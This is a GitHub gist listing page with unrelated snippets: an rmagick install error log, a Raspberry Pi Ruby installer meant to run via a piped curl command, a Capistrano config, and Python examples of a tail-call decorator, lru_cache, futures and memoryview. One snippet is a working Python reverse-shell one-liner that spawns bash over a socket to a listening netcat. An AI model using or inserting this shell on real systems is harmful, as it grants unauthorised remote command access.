Skip to content

Instantly share code, notes, and snippets.

@nodecarter
nodecarter / error.log
Last active March 6, 2018 18:42
problem with installing rmagick gem on mac os x
$ gem install rmagick -v '2.12.2' [ruby-1.9.3-p551]
Building native extensions. This could take a while...
ERROR: Error installing rmagick:
ERROR: Failed to build gem native extension.
/Users/nodecarter/.rvm/rubies/ruby-1.9.3-p551/bin/ruby -r ./siteconf20160205-17372-lm8cre.rb extconf.rb
checking for Ruby version >= 1.8.5... yes
extconf.rb:107: Use RbConfig instead of obsolete and deprecated Config.
checking for gcc-4.9... yes
checking for Magick-config... yes
@blacktm
blacktm / install_ruby_rpi.sh
Last active February 28, 2024 23:24
A Bash script to install Ruby on the Raspberry Pi
#!/bin/bash
# --------------------------------------------------------------------------------------------
# Installs Ruby using rbenv/ruby-build on the Raspberry Pi (Raspbian)
#
# Run from the web:
# bash <(curl -s https://gist.githubusercontent.com/blacktm/8302741/raw/install_ruby_rpi.sh)
# --------------------------------------------------------------------------------------------
# Set the Ruby version you want to install
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
@welingtonsampaio
welingtonsampaio / deploy.rb
Created April 8, 2013 23:37
Gist de configuração do capistrano em aplicação rails com ec2, pedido pelo grupo rails-br
##
# Fazendo deploy com o capistrano de uma aplicação Rails
# usando servidores da Amazon ec2 e unicorn como servidor
# o versionamento do ruby no ambiente de produção foi feito
# com o rbenv ( https://github.com/sstephenson/rbenv ), o SO
# esta com o Centos 5.3 x64
#
# Primeiramente é necessario instalar a gem com o comando:
# gem install capistrano
# ou adicione a linha: gem "capistrano", :group => :development
@hltbra
hltbra / optimization.py
Created November 22, 2012 20:01
tail call optimization decorator
import sys
def tail_recursion_with_stack_inspection(g):
'''
Version of tail_recursion decorator using stack-frame inspection.
'''
loc_vars ={"in_loop":False,"cnt":0}
def result(*args, **kwd):
if not loc_vars["in_loop"]:
@andrewsmedina
andrewsmedina / gist:4128591
Created November 21, 2012 23:45
lru_cache
from functools import lru_cache
@lru_cache(maxsize=None)
def fib(n):
if n < 2:
return n
return fib(n-1) + fib(n-2)
@andrewsmedina
andrewsmedina / gist:4128588
Created November 21, 2012 23:44
futures2
from concurrent.futures import ThreadPoolExecutor
with ThreadPoolExecutor(max_workers=1) as executor:
future = executor.submit(pow, 323, 1235)
print(future.result())
from concurrent.futures import ProcessPoolExecutor
with ProcessPoolExecutor(max_workers=4) as executor:
future = executor.submit(pow, 323, 1235)
print(future.result())
import io
f = io.FileIO("texto.txt", "w")
f.write("ble")
f.close()
@andrewsmedina
andrewsmedina / gist:4128582
Created November 21, 2012 23:42
memoryview
a = b"Heelo World"
v = memoryview(a)